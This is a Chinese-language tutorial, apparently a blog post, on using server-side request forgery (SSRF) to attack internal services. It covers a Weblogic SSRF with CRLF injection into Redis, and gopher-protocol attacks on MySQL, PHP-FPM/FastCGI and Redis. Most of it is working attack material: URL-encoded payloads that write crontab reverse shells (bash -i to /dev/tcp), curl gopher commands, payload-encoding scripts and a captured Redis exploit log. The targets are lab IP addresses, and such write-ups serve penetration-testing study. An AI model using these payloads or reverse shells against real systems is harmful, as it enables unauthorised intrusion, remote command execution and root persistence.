ssrf攻擊內(nèi)網(wǎng)應(yīng)用

一、weblogic ssrf攻擊redis

  1. Weblogic中存在一個SSRF漏洞,利用該漏洞可以發(fā)送任意HTTP請求,進(jìn)一步實(shí)現(xiàn)端口探測。該漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp,我們使用burpsuite訪問如下url進(jìn)行測試。
http://192.168.80.170:35402/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.40.155:80
  • 可訪問的端口,一般返回error code
image.png
  • 訪問非http協(xié)議,一般返回did not have a valid SOAP content-type
image.png
  • 端口關(guān)閉,一般返回could not connect over HTTP to server
image.png
  1. Weblogic SSRF支持通過crlf注入的方式來注入換行符,而某些服務(wù)(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內(nèi)網(wǎng)中的redis服務(wù)器。
  • 發(fā)送如下3條命令,寫入定時(shí)任務(wù)反彈shell:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
  • 進(jìn)行url編碼:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  • 通過如下鏈接發(fā)送出去,nc監(jiān)聽端口,可成功getshell。
http://192.168.88.152:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

二、結(jié)合gopher協(xié)議實(shí)現(xiàn)進(jìn)一步攻擊

SSRF主要是使用get請求,攻擊不需要授權(quán)的應(yīng)用,但是如果目標(biāo)站點(diǎn)支持gopher協(xié)議,就可以擴(kuò)大我們的攻擊面。Gopher 協(xié)議是 HTTP 協(xié)議出現(xiàn)之前,在 Internet 上常用的一個協(xié)議,利用此協(xié)議可以構(gòu)造GET、POST 請求,攻擊內(nèi)網(wǎng)中的redis、fastcgi、mysql等。
值得注意的是,gopher協(xié)議在JDK1.8版本中被徹底移除了,JDK1.6、1.7也只有個別版本支持,所以Java ssrf支持的協(xié)議比較有限,可以通過import sun.net.www.protoocol看到支持哪些協(xié)議。在php類型的站點(diǎn)中,如果目標(biāo)支持curl擴(kuò)展,則可以使用gopher協(xié)議,curl支持的協(xié)議如下圖:

image.png

1.gopher攻擊MySQL

MySQL有密碼和無密碼的認(rèn)證方式不一樣,無密碼認(rèn)證時(shí)直接發(fā)送TCP/IP數(shù)據(jù)包即可訪問。如果內(nèi)網(wǎng)中的mysql數(shù)據(jù)庫存在無密碼的用戶,可結(jié)合gopher協(xié)議進(jìn)行攻擊。

  1. 首先使用tcpdump監(jiān)聽3306端口。
    tcpdump port 3306 -w mysql.pcapng
image.png
  1. 然后開啟MySQL終端,查詢一些信息,最后記得exit退出。
    mysql -h192.168.40.155 -uusernopass
image.png
  1. 使用wireshark打開mysql.pcapng,隨便選一個包,追蹤TCP流,提取request包的原始數(shù)據(jù)。
image.png
  1. 把原始數(shù)據(jù)保存成一行,然后使用如下腳本進(jìn)行編碼,得到payload。
#encoding:utf-8

def result(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "curl gopher://192.168.40.155:3306/_%" + "%".join(a)

if __name__ == '__main__':
    import sys
    s=sys.argv[1]
    print result(s)
python mysql_gopher.py 4200000185a63f20000000012d0000000000000000000000000000000000000000000000757365726e6f7061737300006d7973716c5f6e61746976655f70617373776f726400210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420310f0000000373686f77206461746162617365730100000001
image.png
  1. 使用curl命令發(fā)送payload,并將輸出結(jié)果保存成mysql.txt。
curl gopher://192.168.40.155:3306/_%42%00%00%01%85%a6%3f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%75%73%65%72%6e%6f%70%61%73%73%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%01%00%00%00%01 --output - > mysql.txt
image.png
  1. 使用strings命令讀取mysql.txt,獲得輸出結(jié)果。
strings mysql.txt
image.png

2.gopher攻擊fastcgi

php-fpm一般監(jiān)聽在127.0.0.1的9000端口上,當(dāng)存在未授權(quán)訪問漏洞時(shí),利用 Gopher+SSRF 可以完美攻擊 FastCGI 執(zhí)行任意命令。

前提條件:
PHP-FPM監(jiān)聽端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小于7.45.0時(shí),gopher的%00會被截?cái)?
知道服務(wù)器上任意一個php文件的絕對路徑,例如/usr/local/lib/php/PEAR.php

exp下載地址:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

  1. 首先監(jiān)聽2333端口的流量,并將輸出保存成1.txt
nc -nvvlp 2333 > 1.txt
image.png
  1. 執(zhí)行fpm.py,得到poc代碼
python fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `id`; exit;?>' -p 2333
image.png
  1. 使用如下腳本,將poc代碼進(jìn)行編碼,得到gopher攻擊的payload
import urllib

def go():
    f = open("1.txt")
    content = f.read()
    print urllib.quote(content)
 
if __name__ == "__main__":
    go()
image.png
  1. 使用curl命令發(fā)送payload,成功執(zhí)行了系統(tǒng)命令
curl -v "gopher://127.0.0.1:9000/_%01%01%96%A2%00%08%00%00%00%01%00%00%00%00%00%00%01%04%96%A2%01%E7%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%96%A2%00%00%00%00%01%05%96%A2%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%96%A2%00%00%00%00"
image.png

3.gopher攻擊redis

如果內(nèi)網(wǎng)中的redis存在未授權(quán)訪問漏洞,當(dāng)Redis服務(wù)以root 權(quán)限運(yùn)行時(shí),利用 Gopher 協(xié)議攻擊內(nèi)網(wǎng)中的 Redis,通過寫入定時(shí)任務(wù)可以實(shí)現(xiàn)反彈shell。

  1. 使用socat進(jìn)行端口轉(zhuǎn)發(fā),將本地的4444端口轉(zhuǎn)發(fā)到目標(biāo)的6379端口,此時(shí)訪問本地的4444端口,其實(shí)是訪問目標(biāo)的6379端口。
socat -v tcp-listen:4444,fork tcp-connect:192.168.88.158:6379
  1. 執(zhí)行以下bash腳本

bash redis_cron.sh 127.0.0.1 4444

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
image.png
  1. 捕獲到攻擊redis的數(shù)據(jù)包,保存成socat.log
> 2019/02/01 02:04:10.385362  length=90 from=0 to=89
*3\r
$3\r
set\r
$1\r
1\r
$63\r



*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1



\r
< 2019/02/01 02:04:10.387206  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.390057  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/02/01 02:04:10.392226  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.394801  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/02/01 02:04:10.396341  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.399187  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/02/01 02:04:10.409391  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.419846  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/02/01 02:04:10.420636  length=5 from=0 to=4
+OK\r
  1. 使用以下腳本將數(shù)據(jù)包進(jìn)行轉(zhuǎn)碼,得到poc

python tran_payload.py socat.log

*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
注意:$63表示字符串長度為63個字節(jié),如果要換IP和端口,前面的$63也需要更改
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判斷倒數(shù)第2、3字符串是否為\r
        elif line[-3:-1] == r'\r':
            # 如果該行只有\(zhòng)r,將\r替換成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的換行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判斷是否是空行,空行替換為%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp
image.png
  1. 使用curl命令進(jìn)行測試,成功接收到反彈shell
curl -v 'gopher://192.168.88.158:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
image.png

參考:

https://blog.chaitin.cn/gopher-attack-surfaces/
https://coomrade.github.io/2018/10/28/SSRF攻擊MySQL/
https://joychou.org/web/phpssrf.html#directory099269053851112076

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 關(guān)于Mongodb的全面總結(jié) MongoDB的內(nèi)部構(gòu)造《MongoDB The Definitive Guide》...
    中v中閱讀 32,288評論 2 89
  • 0x00原理 一般的請求:客戶端發(fā)起請求,服務(wù)器響應(yīng)。 另外一種請求:客戶端發(fā)起請求(向服務(wù)端提供一個URL),服...
    0x525c閱讀 2,658評論 0 1
  • 這是我在面試中被問到一些問題,主要偏向基礎(chǔ)知識,如有錯誤,還望指正。 1. sql注入 1. 原理 攻擊者通過構(gòu)造...
    SunJ3t閱讀 1,414評論 0 5
  • 還有幾個小時(shí),我的2018,就要真正地離開我了。他走的毅然決然,奈我如何挽留,他都不動聲色地要離開。 大家都翹首以...
    堯五月閱讀 302評論 0 1
  • 禁止一切形式轉(zhuǎn)載 書接上文 在這個系列的筆記中,我們正在研究一種受監(jiān)督的回歸機(jī)器學(xué)習(xí)問題。 使用真實(shí)的紐約市建筑能...
    博士倫2014閱讀 771評論 0 0

友情鏈接更多精彩內(nèi)容